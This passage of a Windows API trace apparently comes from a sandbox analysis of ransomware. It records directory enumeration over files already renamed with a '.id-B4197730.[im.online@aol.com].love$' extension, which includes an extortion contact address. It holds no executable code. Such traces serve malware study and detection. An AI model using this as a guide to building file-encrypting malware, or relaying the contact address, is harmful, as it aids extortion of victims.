lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.315] FindNextFileW (in: hFindFile=0x6d0548, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa821f376, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.315] FindClose (in: hFindFile=0x6d0548 | out: hFindFile=0x6d0548) returned 1 [0223.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.316] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="3076", cAlternateFileName="")) returned 1 [0223.316] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.316] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d05c8 [0223.468] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.468] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9938147, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9938147, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa995e792, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.468] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa995e792, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa995e792, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa99d09a2, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.468] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.468] FindNextFileW (in: hFindFile=0x6d05c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.469] FindClose (in: hFindFile=0x6d05c8 | out: hFindFile=0x6d05c8) returned 1 [0223.470] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.470] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="3082", cAlternateFileName="")) returned 1 [0223.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.470] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d01c8 [0223.471] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82456b3, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.471] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a1cda9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a1cda9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a1cda9, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xce4, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.472] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a43154, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a43154, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a43154, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13976, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="LocalizedData.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="LOCALI~1.LOV")) returned 1 [0223.472] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 1 [0223.472] FindNextFileW (in: hFindFile=0x6d01c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa81f91cc, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa81f91cc, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa826b86c, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="SetupResources.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPR~1.LOV")) returned 0 [0223.472] FindClose (in: hFindFile=0x6d01c8 | out: hFindFile=0x6d01c8) returned 1 [0223.473] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.473] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Client", cAlternateFileName="")) returned 1 [0223.474] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.474] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0208 [0223.475] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf3768b28, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.475] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9a69926, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9a69926, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9a8f522, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x31546, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.475] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9c7f546, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9c7f546, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.475] FindNextFileW (in: hFindFile=0x6d0208, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9c7f546, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9c7f546, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 0 [0223.475] FindClose (in: hFindFile=0x6d0208 | out: hFindFile=0x6d0208) returned 1 [0223.477] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.477] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ca5667, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ca5667, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ca5667, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="DHtmlHeader.html.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DHTMLH~1.LOV")) returned 1 [0223.477] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82456b3, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82456b3, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa87305ed, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="DisplayIcon.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DISPLA~1.LOV")) returned 1 [0223.477] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Extended", cAlternateFileName="")) returned 1 [0223.477] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.477] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0408 [0223.478] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.479] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dd6a7f, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dd6a7f, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9dd6a7f, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Parameterinfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARAME~1.LOV")) returned 1 [0223.479] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dfcca2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dfcca2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa44bb9d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 1 [0223.479] FindNextFileW (in: hFindFile=0x6d0408, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9dfcca2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9dfcca2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xaa44bb9d, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="UiInfo.xml.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="UIINFO~1.LOV")) returned 0 [0223.479] FindClose (in: hFindFile=0x6d0408 | out: hFindFile=0x6d0408) returned 1 [0223.480] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0223.480] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Graphics", cAlternateFileName="")) returned 1 [0223.480] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.480] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0488 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82b7e13, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82b7e13, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa82b7e13, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Print.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PRINTI~1.LOV")) returned 1 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa82de0e2, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa82de0e2, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8304252, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate1.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~1.LOV")) returned 1 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa8304252, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa8304252, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8304252, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate2.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~2.LOV")) returned 1 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa832c14d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa832c14d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa8756544, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate3.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~3.LOV")) returned 1 [0223.482] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94998a6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94998a6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94998a6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate4.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROC5E8~1.LOV")) returned 1 [0223.483] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa995e792, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa995e792, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9adbad6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate5.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="RO3D09~1.LOV")) returned 1 [0223.483] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9473556, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9473556, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9473556, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate6.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROTATE~4.LOV")) returned 1 [0223.483] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9473556, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9473556, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa94bf93e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="Rotate7.ico.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="ROD47F~1.LOV")) returned 1 [0223.486] FindNextFileW (in: hFindFile=0x6d0488, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa94bf93e, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa94bf93e, ftLastAccessTime.dwHighDateTime=0x1d6168c, 